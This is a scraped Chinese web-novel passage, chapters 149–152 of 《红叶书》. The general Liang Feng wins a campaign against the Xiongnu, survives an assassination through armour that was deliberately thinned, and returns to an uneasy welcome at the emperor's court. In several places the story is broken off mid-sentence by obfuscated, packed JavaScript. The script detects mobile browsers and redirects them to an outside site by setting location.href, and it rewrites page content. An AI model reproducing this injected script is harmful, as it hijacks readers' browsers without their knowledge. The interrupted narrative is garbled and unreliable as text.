直到固阳县以雄厚的人财物挡住匈奴的侵略,才换取了这段时日朝廷筹措军资反击的机会。 开春后,物资匮乏了一个冬天的匈奴肯定会继续南攻劫掠,梁风想不等开春,先趁冬夺回这几座县城,在攻胜的前提下保证匈奴得不到侵略城民的补给,前线匈奴不得不返回匈奴廷求援时再大举进攻。 他想从粮草方面迂回作战。 打仗,除了作战双方自身的武力外,还有粮草、后援、武备、医治、战略战策、士气,包括本廷的支持,都是作战内容的一部分,只有极其差劲的将军,才会捋起袖子直接莽,用血骨换回胜利。 八万大军的辎重过于庞大,拖累行军速度,难以在今年结束前抵达光禄郡。梁风将大军分为三队,粮草辎重与后勤军员压后,慢行尽量减少损失;他带领五千精骑在前领路;两万后援军在中,避免前后拉扯距离过大。 梁风带领的前线骑兵,按计划在十一月结束前顺利抵达固阳县。 年轻时的崔固曾经在这里打过一仗。崔固当时是大胜,他也可以。 城外正北方五里处扎营,再往前就是被匈奴的营地。梁风让手下士兵熟悉风雪与气候,挨住身体反应,同时摸清附近地形、派出斥候打探消息。 之前数月拉锯,让匈奴对大周的反击早有准备,前线匈奴骑兵人数不少,接近一万人。 斥候再探。深入发现一万数量的是马匹,部分马匹背上坐的是稻草人,实际人数在七千左右。 梁风对匈奴兵力的估计也是不到一万,以匈奴这几年的资源养不起更多兵力。以崔固在卸下军权前对匈奴的一战,匈奴大伤的元气不会这么快恢复。 这几日风雪很大,梁风决定将计就计。 设好陷阱,顶风冒雪,在匈奴人以为不会遭遇进攻时发起偷袭。 风雪是最好的掩护。他点两千人,趁夜大风悄悄潜往匈奴营。 黑夜与浓风重雪遮住前路,两步外便看不清同伴。梁风将两千人分为两大队和数小队,一大队在营口大门处吸引火力,另一大队找到粮仓放火,其余数小队分散匈奴注意。 靠近敌营,全军散开伏低前进。待所有队伍就位,梁风带领的一队找到了粮仓。粮仓不难找,火把最少的地方就是了。 他肯定匈奴人早就听说中原抗匈的军队出发了,也早能猜到中原会有精骑脱离笨重的粮草率先抵达固阳县,更猜到他一定会带着先抵达的精骑发动偷袭,这大营外一定有备着他偷袭的陷阱。他因此没有靠得太近,备了远程攻击的弩器。 趁风雪停止的短暂间隙,梁风一队露出身形,投射火弩烧粮仓。 火弩射出,在夜空一闪而过,微弱的火光是信号,其余埋伏着的队伍在此时一同发起进攻。 火弩还未落下便熄了火光,不可能烧得了粮仓。但见整座敌营躁动起来,匈奴开始反击。 敌营内传出一阵弩箭砸在盾牌上的响声,反射出了另一箭雨,敌方亮起了许多火光。 匈奴人除了骑术外,最强悍的就是箭术了。 营地周围地势开阔,箭势无挡,盾兵被压制。梁风朝天空顶风发射信号弹,下令:“撤!” 两千人整齐后撤,四处散开冲入风雪。梁风后撤的同时察看匈奴是否追上,回头隔着雪幕看见数点火光,便跑向事先设好的陷阱,与陷阱周围待命的三千骑兵汇合。 陷阱设得匆忙,只是粗粗挖了几个洞,洞底插了数根大刀片。但是陷阱设置不怕粗糙,关键是融于环境,不被察觉才是最重要的。 有风雪的天然掩盖,前批冲锋的匈奴掉入陷阱,惨叫须臾盖过了风声。 阱洞很快填满,后批匈奴察觉入套,紧急撤离。梁风的人已成包围之势,这时拔刀冲杀,匈奴人无法逃离。 冰冷的雪花可以冻僵握刀的手,使手掌永远保持在杀人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839883|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 状态,不会松刀。 刀刃在寒风中是温热的。从前的数次剿匪很少北击,匈奴人的鲜血喷溅在冻僵的脸上,梁风第一次发现,杀人可以是温暖的。 和在沛郡礁县雪山谷中遇到的伏击不同,那时更多是对朝廷的疑惑和自卫。他有片刻走神,这次进击前他做了很多准备,唯独忽略了气候对人的影响。 他想更握紧手中刀,但手掌被冻僵了。形势不容他多想,这是异族匈奴,他要为边地被侵扰的百姓而战。 追击的匈奴负隅顽抗,被杀死不过前后区别。 梁风很快杀完了追击他的敌人,扭头返回匈奴营进行余下清扫。 霸占匈奴人的粮仓,收服投降的匈奴妇孺,顺利保住固阳县。 天亮风雪停息,他看着铺地的尸体,树梢间的太阳逐渐炽热,刀刃却开始发冷。血液温暖,但不代表杀人是美好的。 陷阱中的尸体直接掩埋,坑都不用挖。梁风将初步战果写成军报发送朝廷。 光禄郡守亲临固阳县,安顿匈奴降员。梁风的兵迁至固阳县外五十里,监视匈奴廷的举动,同时等待后面的粮草辎重归队。 年关将近,粮草辎重顺利归队,梁风在雪未融时,将东西两侧被匈奴侵占的县城夺回,扎营地越来越向北。 直到离开大周,踏入匈奴地界,梁风第一次产生了背井离乡的感觉。 容不得他多想,全军进入夫羊山峡,山峡后是中原人译作范城的匈奴南境第一座城。 到了别人的地盘,前方的路没有已知的陷阱与援兵,梁风谨慎很多,他要拿下范城。 范城是两国边境一座主要供行商交易往来货物的小城,两国起战事时和固阳县一样夹在中间风雨飘摇,财富充足,但缺乏军事实力。 梁风挥兵至城门口,没费什么力气,范城城头就挂上了大周旗帜。 斥候带来消息,匈奴廷发出了最强大的兵力,直指梁风这个不为北境所知的新晋将军。 有了范城的财富作为后路,梁风带兵跨越夫羊山峡,正面迎击匈奴大军。 这一战胜了,至少十年内匈奴不会再有与大周对抗的实力。往年匈奴屡战屡败,双方都很清楚,这是匈奴耗尽气数的一战。这也是皇帝始终不愿意派公主和亲的原因。 穿过浦努河,抵达一片平原。平原另一端,是匈奴大军黑压压的人头,高坐于骏马之上,天际线都拉高了。 梁风一声令下,全军举刀前冲。 两群漆黑的人头在平原上如泼水般相撞,梁风冲在最前头,目标是匈奴首领,长刀横扫迎面而来所有非我方的敌人。 匈奴首领同样冲来,梁风保持一口气用力砍向对方的马颈,以对待小兵同样的攻击方式。 锵——刀刃被阻,梁风一看,马匹居然穿了与毛色一体的软甲。 匈奴全军着甲,似乎就是匈奴这十几年数次侵犯中原的收获和经验。作战时武装到骏马的牙齿,是在崔固手下无数次被击退的血泪教训。 但这样只会令匈奴本身极善骑射的矫健与迅猛大大受损,梁风记得。崔固从前作战的匈奴敌军多穿硬质皮毛,他已经找出破绽。 对方似乎有些被触怒,恼怒于梁风的轻敌。 盔甲下裹着一张年轻粗粝的面孔,敌方首领也是一个新晋的将军。 梁风不爱在打仗时说话,脑子里用力地想一句话:把对方杀死。 软甲只是软甲,又不是铜墙铁壁。 他举刀再攻,攻击软甲的缝隙。 寒刀抡圆划出劲气,一只手臂崩断飞上高空。匈奴首领惨叫着反击,梁风夹腿后仰,沾血弯刀几乎贴颈擦过。 四周许多士兵被击下马,梁风躲闪速击时不知踩了多少倒地的人,踩了残肢,踩了变成残肢,被踩的人里有多少是他的兄弟。 秃鹫在高空盘旋,鲜血染红了浦努河的水,兵器铿锵声在原野广阔荡开。 149. 《红叶书》(六九) 不能对鲜血感到麻木。 两马相遇,梁风横向砍出一刀,被匈奴首领侧身躲过,并斜刀袭击梁风大开的面门。梁风改刀竖劈,以攻为守。 对方断了手臂,痛苦混合着狠厉,攻击技巧较为生疏欠缺,但力气够足,又有疼痛的加持,只顾攻击,全然不躲闪,闪避交给了身下的马。 匈奴的骏马有灵性。 梁风数次攻击落空,全因对方的马会自己寻隙冲击和躲闪,他屡屡不中。 通过旗帜判断,匈奴战损达到三成,首领没有撤退的意思。匈奴这是背水的一战,梁风同样狠着心,他必须要赢。 他的马也有灵性,虽不善于躲避,却善于猛攻。 梁风劈刀再砍,誓将敌方首领逼下马。 他控马前跃,见对方将要反击时身子一歪,夹腿斜挂在马鞍上,用刀尖挑起地上一块石头,击打敌方首领背后一名落马的敌方小兵。 敌方首领被引走注意。石头击出,梁风反手抓着马鞍将身体旋转一圈上马,那被击中的小兵跪地倒下,无意识抓了一把,抓到敌方首领战马的尾巴。 战马受惊人立嘶鸣,梁风趁机从侧方攻匈奴首领肋下,意图再断他一臂。 匈奴首领大吼一声,腋下生挨梁风一刀,用力夹住了,刀势透过铠甲冲击身体,匈奴首领吐出一大口血。 梁风抽刀不能,匈奴首领横砍切去他的刀,回刀时朝梁风脑袋平削。 梁风低头,刀锋在头顶划过,头盔摩擦出火花。 这一下身体往前倾了,匈奴首领用变刀改挑他的头盔。梁风越发往前躲,贴近了对方的马,索性冒着被挑去头盔的风险,刺击对方战马。 刀尖刺破的鲜血糊湿软甲,敌方战马受击大惊。匈奴首领当即松腿甩刀,趁梁风还未归正身体时,弃马前扑抓住梁风的脖子,脚在马背上借力,带着梁风一起跌下马匹。 梁风的头盔在沙地上重重一砸,被砸得头晕眼花,脑中一阵耳鸣。 一旦跌下战马,四周的骑兵跑动攻击随时容易发生误踩,梁风的马在他周围着急地来回踏步,帮他挡下了其他骑兵。 匈奴首领独臂撑身压制梁风,拔掉头盔,赤手空拳朝脑袋上打。 匈奴首领拳头硬度极大,一拳打上,感觉眼球都要碎掉。梁风双腿和腰腹被死死压着,眼中逐渐充红,手里还握着刀,一手反制拳打,右手横刀割喉。 断了只手的人还能打得过他? 匈奴首领后仰躲开,梁风立即翻身反压制,准备再次割喉时后背遭受重重一撞,是敌方首领的马朝他背后踢了一脚。 梁风差点吐血,血没吐出来梗在了胸膛里,匈奴首领大吼着又要反击。 梁风也不躲,死压着对方的身体,双手握刀在脖颈的盔甲缝隙处用力一割。 一股鲜血极热地扑来,扑了他满脸,热得他快要一哆嗦,眼前的世界变得鲜红一片。 一刀割完,他再割一刀,骨骼破裂的声音在喊杀声中异常清晰。 匈奴首领的战马狂躁起来,梁风起身冲过去,在这畜生人立时穿刺腹部,压下刀柄直接剖开。灵性的骏马流出了肠子。 梁风翻身上马,大声喊杀! 杀人热血,尤其是在击杀匈奴的时候。北境苦寒,气温低,只有杀人,在被活人体内喷涌而出的鲜血覆盖时能感到片刻的温暖,梁风现在觉得很热。 高空的秃鹫不再盘旋,俯冲而下啄食腐肉。 夺城很快,收割很快,杀人更快。 梁风杀小兵,杀战马,杀死所有非我方的一切。 直到站立的人多数为我方,梁风下马,为剩下还在试图起来再战的敌人补刀。 很多匈奴人跑了,朝着更北的地方逃跑了,其中定有向本廷求援的人。 脑中的鸣响越发尖锐,梁风喘着气环视战场,清扫残余,也要确认我方还有哪些队伍活着。 他看那些还站着的人,也看地上。残缺的尸体有很多是他有印象的,他见过的。 意识逐渐变得恍惚,身上不知挨了多少刀拳,好像疼,好像不疼。他四处翻捡弓箭,射杀逃跑的人。 “将军!” 有人喊了他一声,梁风扭头一看,隔着人马尸山,一名年轻的小兵,握着断裂只剩一半的刀,脸上滴着血望他。 底下有的小兵喜欢在一仗接近结束时确认一下自己的将军还在不在,梁风说不出话,只回视,示意自己还活着。 小兵攥着只剩半截刀刃的残刀走近,梁风收回视线,留意周边残兵逃散情况与我方战损人数,眼球突突地痛,准备发射信号弹收拢队伍。 一只手搭上他的肩膀。梁风听见了比鲜血更浓厚的呼吸声,他想是唤他的小兵有什么话要说,一转身—— 噗嗤—— 残刀透过铠甲没入梁风心口,他愣住了,眼前在他心上插刀的小兵实在是一张没有印象的脸。 本就逐渐模糊的意识成了一团漩涡,眼中看见的事物忽然消散,出征前见过的人纷乱浮现。 疼痛袭来,梁风眼神骤然凝结,强大的怨恨没顶而至,冲散了模糊的漩涡。 他一把掐住即将逃跑的小兵,脚底软了,扑制着小兵一起跌倒在地。 梁风举刀要杀,因皮肉狰狞,脸上糊住的血液干巴崩裂,看见的景色全部变成红的。脸不认得,但身上的铠甲认得。 他持刀的手举在半空,落不下去。 小兵发狠,用尽大力推开他,起身要跑。 梁风无力撑住身体,被推倒在地上,胸口的刀柄一震,心脏痉挛的疼痛令他意识空白了瞬间,全身仿佛有根筋被绷紧弹了一下。 一道飞箭快速射来。 还未从地上爬起来的小兵,额头正中箭支,两腿一蹬,直接躺回去死了。 梁风动不了头,努力斜着眼睛去看,认出射这道飞箭的人是皇帝新安插在军营里的人。 这人十分着急地冲过来,嘴里喊着什么,梁风听不清了。 死得够快,走马灯都来不及走不完。 ...... 中间似乎有醒过,看见了什么。什么也没看清。 ...... 想要努力去看清时,听见了李婶的声音。他想动,没动成。有什么压住了他的手,好像动成了。 ...... 身体忽冷忽热,有什么东西在擦拭全身。梁风睁了眼,感到持续的温暖。李婶的面容出现在视线中,他没有反应过来。 ...... 他睁开眼,感到身上的温度很适宜,能察觉到手指的弹动。 意识清醒后的一刻,没有感到疼痛,只觉得自己睡了很好的一觉。 放松的身体每一寸皮肉都紧贴着床榻,原来放松可以放松成这样。身体能够和床榻融为一体。 疼痛慢慢浮现,唤醒了意识与思考。 他没死。 既希望他打胜仗,又不希望他活着回到京城。 这是皇帝松口的原因吗? 如果不是李婶,他已经死了。 思考加剧身体的疼痛,他说不出话,伤口不止胸口一处。 李婶说,很险,刀口再往下一丁点他就没命了,而且治疗很及时,那个送他来医治的人很及时。 全身都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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是要杀他,若真死了,便死了;若没死,便借养伤转移兵权。这比用捐资一事调开他再转移兵权要实用有效得多。 过了两天,身体恢复点力气,他趁李婶离开的间隙用力撑身坐起来,这一坐,一眼看见营帐角落挂着他的铠甲。 静静地挂在角落,没有被清洗过,各处部位遍布刀剑划痕,还沾着血迹。胸铠的心脏部位裂开了一道半个巴掌大的口子。大口子覆盖着一条浅痕,刺杀他的小兵就是对准了那道浅浅的划痕,才把残刀刺进去。 梁风却看着有些不对劲,也不动了,呆愣愣看了很久。直到李婶端着药粥返回,他让李婶拿来那件胸铠给他看。 单单一件胸铠都沉重坚硬,他此刻拿不动,李婶也拿不动,挨着他放在床榻上。 白铠沾着干掉的鲜血,像一块干涸硬挺的血肉,看着很陈旧了。梁风仔仔细细观察每一处细节,看着大裂口周围的小裂缝。 这件胸铠的护心部位被打薄了。 他反复翻看,确认心脏位置比其他部位要薄一点。厚度一致,是铠甲内里空了一层,不是实心的,更容易被刀刺穿。 从前每回剿匪后返京,都有人负责修复全军铠甲。他的这幅铠甲是皇帝赐的,皇帝曾经单独为他修复过铠甲。 这是,说是什么寒铁打造,坚不可摧,如果不打薄,区区一把残刀恐怕刺不穿。 回想自己穿着它时,每一次都觉得很安心,因为它足够坚固,足够可靠,但没想到它有一日不堪一击。 心脏疼得厉害,梁风将脸上的五官搅成一团。 李婶擦他脸上的汗水,“疼得厉害的话,吃点止疼药吧。” 梁风摇头,不想吃药,问道:“中原......没有信件寄来吗?” 李婶摇头。 梁风沉默下去,他想给京城里的人写信了。 150. 《红叶书》(七十) 梁风一边听着前线消息,一边卧床养伤。 身上还有很多其他伤口,他的左腿有些问题,被钝击过或是砸过,记不清怎么伤的了。 养到能握住笔写字,他一连写了几封军报送去京城,还写了几封信件寄去王府。 写着写着,他后知后觉反应过来,王府和金絮恐怕不容易给他回信。普通人的信件怎么可能往前线军营里寄,王府要回信都很难,只能和朝廷的旨意夹在一起,但他出征前刚和朝廷发生了一些小矛盾,私信估计是不会有了。 心情不好,伤口更加好得慢了。 “止疼药会对冲疗愈药的药性,还是得少吃。”李婶道。 “可是我很疼。”他不想吃药,但是愿意止疼。要么别吃治伤的,只吃止疼的。 李婶不惯着他,一碗一碗苦苦的疗伤药端过来。 梁风不情愿,还是喝了。他得尽快下地,万一前线的楚通他们需要支援呢。 抬头一看,春天快到了。 梁风嚼着蜜饯批军务,李婶不许他下咽,嚼一嚼就得吐出来。 前线不断有战事传回,一切顺利,但楚通和皇帝的人经验到底不足,很多决策需要问询梁风意见。 梁风一道道批复,叮嘱他们一定要对匈奴全部物资进行记录,妇孺老少多少、牛羊牲口多少、军备箭支多少,再与他们自己对匈奴情况的预估进行对比,推断匈奴有没有藏在暗处的后手。 楚通发来的军报越来越多,梁风简直想飞过去亲自看看。 楚通还不忘提醒他安心养伤,至于谋杀他的那个小兵,等前线战事结束了再掀底调查。 冰雪始消融,梁风营帐里始终点着炭火。 他听见帐角外头滴答的水声,忙命全军所有人开始撬挖封冻的土地,掩埋尸体。 两军对战,或者偷袭、伏击,出动的兵力几千至数万不等,而掩埋尸体需要出动全军。趁气温还低,一日,最多一日半,必须把敌我双方所有尸体掩埋好。 三月,匈奴可汗投降,对大周献上忠诚,愿意将匈奴下一任可汗人选交由大周国君亲自任命。 梁风写军报,写明匈奴可汗的说法,询问朝廷对匈奴战俘如何处理。 匈奴投降的意图是不是真的,需要一段时日确认,这是最重要的。 可汗献出所有子女为质,痛陈悔恨。匈奴本部的大臣与祭司接连自杀,附近其他部落和沙漠的零散势力纷纷献礼投靠大周。 梁风可以拄着拐杖下地,还不能弓背弯腰。他想了想,收下了所有投降的诚意。 投降后续还有一系列事情处理,双方伤员都需静养,梁风一边与匈奴保持和平,一边等待朝廷的回复。 这日在帐内吃饭,李婶端来一大锅肉粥。 “可以吃多点肉了。”李婶说着,放一只带托碟的小碗到他面前,再拿回小碗盛粥。 梁风愣了,看见那托碟中间压了一张折叠的纸。 李婶若无其事地盛好粥,又将小碗放回给他,压住了那张纸。 李婶盛完粥便退出帐外。梁风呆呆看着,低头将小碗拿走,打开热乎乎的纸张。 这居然是一封信。没有署名和信封的信。 信里说,冬天寄信,大雪封山,出再高的价都寄不出去,只能等开春。 还说,是因为徐礼想读书,不想学手艺,才送他去读的。强逼着他去学不想学的手艺东西,会适得其反,更加浪费钱。 她说,春节后找到了夫子,但夫子只收徐礼,不教柔竹。 金絮没法,有想过自己教柔竹读书,想来想去地权衡许久,最终决定让柔竹远离风尘住在太南,至于读书,只能看徐礼愿不愿意教她了。 一封信辗转千山,隐蔽地送到了他手里。 她定是托天机阁送来的,不知道花了多少钱。她也穷呢,还要花这些钱,看来襄国调去的钱是送到她手里了。 梁风心里很雀跃,遗憾没法给她回信。 他贴心口收着,很爱这封信。 四月,朝廷的回复抵达。 皇帝同意接受匈奴的归降,宽待匈奴老幼妇孺,在匈奴本廷插上大周的旗帜。 后续由可汗将国土文书印玺亲自送入帝都交给大周君主,在大周仪式见证下退让可汗之位,大周君主将亲自择选下任可汗。 梁风已经可以自由活动了,伤口好得差不多,每日没事会去匈奴内部走走看看,一边留心观察着楚通他们对这场战事总结的争争吵吵。 这段时日,匈奴内部许多贵族自杀,无法忍受失去自己的国家。每一个匈奴人脸上死寂沉沉,但是战争总有输赢。可是梁风又不觉得自己赢了。 他想回京了。 五月,朝廷又来函。 道若一切事宜准备齐全,应和王可带兵返京了。 梁风接旨,将旨意下发,传令全军准备返京。 胸口的伤基本好全了,留了点疤痕。李婶问他:“回去后要怎么办呢?你得想想了。” 梁风摇头,不知道。他有想,他想回去,回去后怎么样回去再说。 战事结束,梁风命人将这附近几里地的陷阱全部拆除,避免商队路过误踩。不过发生战事的地方,近几年内一般不会有商队路过。 失去妻子儿女与所有亲眷的匈奴可汗满头白发,抱着一切还能证明自己是匈奴可汗的东西,随同梁风上京。 五月近下旬,大军出发返京。路过固阳县,梁风向固阳县令要了点粮食补充军队。 回程更远,加上队伍中多了很多伤兵,脚程放慢,路上走了将近三个月。 翻过京城郊外的序山,在半山腰便能远远看见京城。梁风摸摸胸口,松口气,幸好路程足够远,养好了伤才回到家。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说着,丽姬皱眉,“不对,想杀他的人倒也没有得偿所愿。” 金絮捏了捏丽姬的脸颊,“你这话可别跟他说。” 丽姬被扯得咧嘴,不满地瞪金絮,“我现在最需要学会的一件事你知道是什么吗?” “什么?” 丽姬招手让她靠近,附耳神秘兮兮的样子仿佛金絮打开了宝箱。 “忘恩负义。”丽姬悄悄道。 丽姬忽然趴着瞭望台的外栏,张开双臂,对着天下与军队呐喊:“忘恩负义,天下无敌!” 声音远远地扩散开去,吸引台下还未散远的百姓抬头上看,军队的尾巴却闻声一动不动。 金絮听着,没有摇头,也没有点头。 151. 滑稽戏 因为随行有匈奴可汗,凯旋的意义不太一样。梁风按照官员礼仪指引先回王府换了身衣服再入宫。 老李的伤已经好了,没有为身体留下病根,他很欣慰。 他看了看王府各处,和出征前没有两样,记得出征前是吩咐过给府里多找几个下人帮老李分担事务的,便问了一句。 老李解释道:“平常事务不多,这几个下人也够了,我便没去找。只是您说的襄国会调些钱财过来,倒是没有见到。” “没送来?”梁风愣了。 老李颔首,“钱财没送来,朝廷也没有表示,大约是在哪处被人拦下了吧。金姑娘那边起初似乎有些困难,我帮衬了些,她总说不用,后面见她慢慢好了,便也不帮了。” 梁风皱眉,丧丧地叹气,没帮上老李,也没帮上她,她为了寄那封信不知花了多少钱。 或许真不应该在出征前和朝廷闹矛盾,幸好他是没死,要是死了,府里上下也没命活。他此刻觉得出征前的自己未免太过乐观。 “下人少些便少些了,人一多,也得分出精力管理。”老李道。 忽然很不想入宫,不知道皇帝会怎么解释他遭遇小兵刺杀的事情。估计是不解释,直接推给别人吧。 李婶留在府中,梁风跟着九卿的人指示入宫,另有人负责带领匈奴可汗。 抵达宫门时,宫门已大开,门外谒者两排,恭迎应和王凯旋。 宫门内是数列纵队的宫女太监夹道欢迎,气势远比城门外的百姓壮烈。 宫女太监队伍尽头是衣着正式的百官,百官尽头是十二旈冠冕十二章华服穿戴齐全的皇帝。 皇帝亲迎他的大将军。 无数道目光灼灼注视着他,快要被这股气氛感染,梁风简直都要假高兴起来。 面对皇帝与文武百官,梁风假高兴了,下马单膝跪地,以相当高亢的喊声宣布大周对匈奴的全面获胜。 “天佑五年,大周发兵八万,于夫羊山峡外平原与匈奴一战,我军牺牲一万七千人,其中骑兵四千,步兵一万三千,敌军未投降者尽数诛杀,臣以北军将领名义宣布:此战全胜!” 皇帝很高兴,文官们很高兴,他当然也应该高兴。 匈奴可汗一副蓬头垢面、丧尽家国的样子,被推到大周君主面前。 皇帝更高兴了。 匈奴可汗上呈代表匈奴诸部落最高首领的的一应物证,匈奴从此尽服于大周之下。 百官山呼万岁,梁风跟着一起呼,心里想着,梁戟在位史上收服匈奴,史书的记录会很好看。 皇帝开始封赏,这封赏要当着前匈奴可汗的面。 梁风于军衔上升无可升,皇帝赏了一些金银珠玉,不算多的。他猜测朝廷也拿不出什么钱了。 梁风淡淡然领赏。 而让他意外的奖励是更改了他的封号与藩地。 应和王易号为安分,掌管藩地燕国。 夏培将拟任圣旨与新的诸侯王宝印即服饰着一列长长的宫女队伍送到他面前。 梁风看看皇帝的表情,皇帝没什么表情。 难怪进宫前特意要他换身正式的衣裳,梁风仍是淡淡然领旨。 他从未去过一次的襄国就此不属于他了,新的属于他的东西是同样从未去过一次的燕国。 燕国地理偏西南,比襄地富饶许多,人口与国土面积是襄国的三倍,每年产物与纳贡是襄国的五倍。 他这是升了,似乎是朝廷因国库不足而进行的另一种补偿与奖赏。 百官们以比高呼万岁要小得多的音量恭贺安分王,梁风被道道恭贺逼得不得不再次下跪谢旨,感恩皇帝。 后续匈奴归降与新任可汗人选还需商议,安分王藩地更改也还有一些礼仪程式要走,凯旋的场面就做到这里。 皇帝出言留他在宫里住着,待全部仪式走完后再出宫,也是见见母亲。 梁风犹豫一瞬,应下了。 将到傍晚,梁风随夏培去暂住的寝殿,离母亲的暖阁有些远。 他又换了一遍衣服,然后长长呼出一口气,终于可以吃饭了。 但他不吃。他命人将饭菜送去暖阁,和母亲一起吃。 好久没有和母亲一起吃饭了。 将要踏上暖阁,台阶上,却被母亲担忧含恨的眼泪止住脚步。 母亲站在暖阁门前,不知站在这里望了多久。他知道,凯旋仪式上没有看见母亲的身影。 “还不快进来!”母亲向他喊。 梁风赶忙进去。甫一关门,邓氏对他上下其手。 “快让我看看,你伤哪儿了?我听说是伤在了胸口?” 衣襟被扯开,梁风由着母亲检查,疑惑:“为什么您会知道?” 他送至京城的所有军报,没一句话提及被刺杀差点死掉的事情。 “我若不是知道,你是不是不打算和我讲了?”母亲拽着他的衣襟,生气令眼泪止不住,“暖阁附近文官来往频繁,怎么会一点消息都没有透露出来。” 他说的不是这个,皇帝肯定知道,但母亲除了皇帝愿意让她知道外,没有别的获取前线消息的途径了。皇帝是出于什么原因刻意要让母亲知道。 “您别哭了,我这不是好好的。”梁风在她面前跳了两下。 “你以往每次出征,是不是总会发生这种事情,你身边全是想杀你的人?” “不是啊。我身边更多的是会保护我的人。”像是他的士兵,他的暗卫,那一场战中,他的暗卫也受伤不轻。 “圣上知道了,有没有说会为你做主?” 梁风不说话,招丫鬟:“端饭菜来,我快饿死了。” 饭菜早已准备好,丫鬟布开,梁风选几样爱吃的放到自己和母亲面前,一条鱼就占了桌边一小半位置。 邓氏心思不在饭上,摸到了他胸口凸起的伤疤,擦掉眼泪,“圣上没说,那你便自己向圣上请求调查这件事。” 梁风拉母亲坐旁边,自己随便把衣服合好,“先一块吃饭。” 邓氏看着他,不拿筷子,“我的儿子,可不能平白受这委屈......”正要吃时突然想到什么,问道:“想杀你的人,是圣上吗?” 梁风一愣,母亲的眼神一下子变得不可思议,他心里顿时微妙,有被理解到的熨帖,又有些无奈,赶紧道:“我说您一个人在宫里不要瞎猜。” 他展展双臂,“您看看我,我这回得了军功,藩地更易了,我现在的藩国是燕国了,燕国地大物博,我有钱了。” “我在宫里,日日见不到你,是不是也并不能保证你的安全。” 母亲又要哭了,梁风描绘道:“可以啊,我这不是没事么。当时我在战场上,一刀把那个匈奴的首领割喉了,喷出来的血糊住我的脸,我一时没看清,才着了旁边一个小兵的道了。我被刺中动不了的时候,看见皇帝派入军营里的人为我一箭射杀了那个小兵。” 梁风捏着筷子作刀虚空一划,“再有下回,我就将刀斜着侧割,喷出来的血就不会糊到脸上,当时我离得太近了。” 母亲双眼看着他,缓缓摇头,“风儿,你在骗我。” “我没有骗你,当时的情况就是这样。” “你不光骗我,你还不把话和我说清楚。”母亲生气了,“那个伤你的小兵是不是你麾下的人?你的军营不干净,你去向圣上讨公道,圣上会不会派人为你调查?” 梁风为无法缓解母亲的情绪而感到无力,更不想提起皇 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“怎么争?”梁风给她夹肉。 邓氏却没再说话了。 她拿起筷子和他一块吃饭。母亲神情郁郁,吃着吃着也舒展眉目,梁风胃口挺好,一口气吃了两碗。 舒服地吃了顿饭,梁风本还想和母亲绕着暖阁散散步的,这可是皇帝特批留宿宫里的机会,结果吃完饭没过一刻钟,夏培来唤,说皇帝要见他。 梁风只能去见皇帝。 皇帝寝殿里的烛火盛如白昼,奏折堆了满桌。前匈奴可汗住在宫外驿馆,有人监守,关于下任可汗人选,百官各种提议,皇帝要彻夜批复。 梁风见礼,皇帝从奏折堆中抬头,“见过你母亲了?” “见过了。” “知道朕叫你过来是为何事?” “不知道。”梁风坦坦然。 皇帝瞥了他一眼,指着桌面最顶上的一本折子,“看看你传来的军报。” 梁风看见了,封面确实是他写的军报,他走过去翻开略略扫过,不知道有什么问题。 “你差点被麾下将士刺杀身亡,怎么这事未见你的军报提及?”皇帝划重点:“你如今写军报倒是写得频繁了,怎么要紧事一件不说?” 皇帝肃眉拍桌,“分不清什么是要紧事吗?” 梁风张了张嘴,胸膛里好像有什么话想说,但是没什么好说的。他将折子放回去。 “军营里若没有朕的人,这事你是不打算说了吗?”皇帝凶了。 “不是不打算说......”梁风开个口停住,真不知道说什么好。 “那是怎样,你还想自己查么?”皇帝脸上阴影密布的是四十一岁的皱纹,仿佛关心晚辈,“你查得清楚?还是打算就这样翻篇?” 尖锐的问话,梁风不动作,袖里手指渐渐捏紧。 皇帝恨铁不成钢地一叹,“你出征前,军营里进了很多新人,本身磨合时日就不够。朕本想那些人里有个能干的,替你分担军务,却不曾想放进个贼,居然敢刺杀我大周将领。” 啪地一拍桌,皇帝是真生气。 梁风默然听着,脸上平淡观察桌角一盏烛火,心里冷漠起来。 “刺杀你的人背后主使是谁,朕会为你查清楚。”皇帝最后道。 烛火摇晃了一下,明明没有风进来。梁风眨眼,看向皇帝,咽了咽喉咙,松开手指,压弯腰脊,抱拳揖礼道:“谢陛下。” 他心里有数,无所谓查不查。 直起腰后,回视皇帝沉静深厚的目光,发现能屈能伸也没什么难的。 152. 《红叶书》(七二) 烛火暖融融,表情逐渐融化成水,从脸上滴下。 梁风还在站着,皇帝始终没说入坐,他没忍住,流露出一丝不耐烦。 “抓到了背后主使,朕一定交由你处置,你如何处置都行。” 皇帝还有话说,一抬眼,看见梁风的脸,把话收了,道:“下去吧,你的易号典礼定在下月初一。” 梁风立马揖礼告退,皇帝又道:“对了,中秋快到了,宫里的中秋晚宴你也来,带上你母亲。” “是。”梁风应下,转身告退了。 他回到暖阁,母亲还没睡,也不散步了,服侍母亲睡下道:“我出征遇刺这事,皇帝刚才召见我说会为我查清的,您可放心了。” 母亲仍显忧心忡忡,不展眉。 梁风道:“还有下月十五的中秋晚宴,您也要参加,皇帝说的。” 他掖掖被角,“明日我就不来看您了,我得回营里,那边还有一堆事情没处理。” 母亲这就点头,“你去忙你的事。” 看着她闭眼睡着,梁风才回住处,路上盘算明天的行程。 